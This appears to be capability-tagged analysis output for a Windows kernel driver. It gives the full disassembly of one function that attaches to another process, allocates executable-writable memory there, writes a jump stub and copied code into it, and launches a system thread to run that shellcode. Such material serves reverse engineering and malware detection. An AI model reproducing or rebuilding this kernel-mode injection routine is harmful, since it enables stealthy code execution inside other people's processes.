Function at 0x1400048d0
Capabilities:
Allocate or change rwx memory
Attach user process memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push r14
push r15
lea rbp, [rsp - 0x3f]
sub rsp, 0x98
cmp dword [rcx + 0x10], 0
mov r15, r8
mov rbx, rdx
mov r14, rcx
je 0x140004902
xor al, al
add rsp, 0x98
pop r15
pop r14
pop rbx
pop rbp
ret
mov qword [rsp + 0xc8], rsi
test rbx, rbx
je 0x140004b6d
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x140004b6d
mov eax, dword [0x14001823c]
add eax, 0xffffe250
cmp eax, 1
jbe 0x14000493d
mov rsi, qword [rbx + 0xf0]
jmp 0x140004944
mov rsi, qword [rbx + 0xb8]
test rsi, rsi
je 0x140004b6d
mov rdx, qword [r14 + 0x20]
xor ecx, ecx
add rdx, 0x500
mov qword [rsp + 0x90], rdi
mov dword [rbp - 0x11], 0x5ff
mov qword [rbp - 0xd], 0x25ff0000
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rdi, rax
test rax, rax
je 0x14000499f
mov edx, 0x30
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
xor edx, edx
mov rcx, rdi
mov rbx, rax
test rax, rax
jne 0x1400049bf
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor al, al
mov rdi, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xc8]
add rsp, 0x98
pop r15
pop r14
pop rbx
pop rbp
ret
xor eax, eax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], rax
movups xmm0, xmmword [r14]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [r14 + 0x20]
movups xmmword [rbx + 0x20], xmm0
mov r8, qword [rbx + 0x20]
add r8, 0x500
call fcn.140005e00
mov r8, qword [rbx + 0x20]
mov rcx, rdi
mov rdx, qword [rbx + 0x18]
call fcn.140005f00
mov rcx, qword [rbx + 0x20]
lea rdx, [rbp - 1]
movsd xmm0, qword [rbp - 0x11]
mov eax, dword [rbp - 9]
movsd qword [rcx + rdi], xmm0
mov dword [rcx + rdi + 8], eax
xor eax, eax
mov rcx, r15
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rax
mov qword [rbp + 0x27], rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rsi, qword [rsi + 0x1488]
lea r9, [rbp - 0x19]
xor r14d, r14d
mov dword [rsp + 0x28], 0x40
mov qword [rbp + 0x67], r14
lea rdx, [rbp + 0x67]
mov rax, qword [rbx + 0x20]
xor r8d, r8d
add rax, 0x500
mov dword [rsp + 0x20], 0x1000
or rcx, 0xffffffffffffffff
mov qword [rbp - 0x19], rax
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
jns 0x140004ab7
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [rbp - 1]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
jmp 0x14000499f
mov r8, qword [rbx + 0x20]
mov rdx, rdi
mov rcx, qword [rbp + 0x67]
add r8, 0x500
call fcn.140005f00
mov rdx, qword [rbx + 0x20]
add rdx, qword [rbp + 0x67]
lea r8, [rdx + 0xc]
lea eax, [r8 + 8]
mov dword [rdx + 2], eax
xor edx, edx
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbp + 0x67]
mov dword [rcx + rax + 8], r8d
mov rcx, rdi
mov eax, dword [rsi + 0xbc]
mov qword [r8], rax
mov eax, dword [rbp + 0x67]
mov dword [rsi + 0xbc], eax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [rbp - 1]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rbp + 0x67]
lea rcx, [rbp + 0x7f]
mov qword [rbp + 0x7f], r14
xor r9d, r9d
mov qword [rbx + 0x18], rax
xor r8d, r8d
mov rax, qword [rbx + 0x20]
mov edx, 0x1fffff
add rax, 0x14
mov qword [rsp + 0x30], rbx
mov qword [rbx + 0x28], rax
lea rax, [0x140005bc0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
test eax, eax
js 0x140004b66
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
jmp 0x1400049a1
xor al, al
jmp 0x1400049a9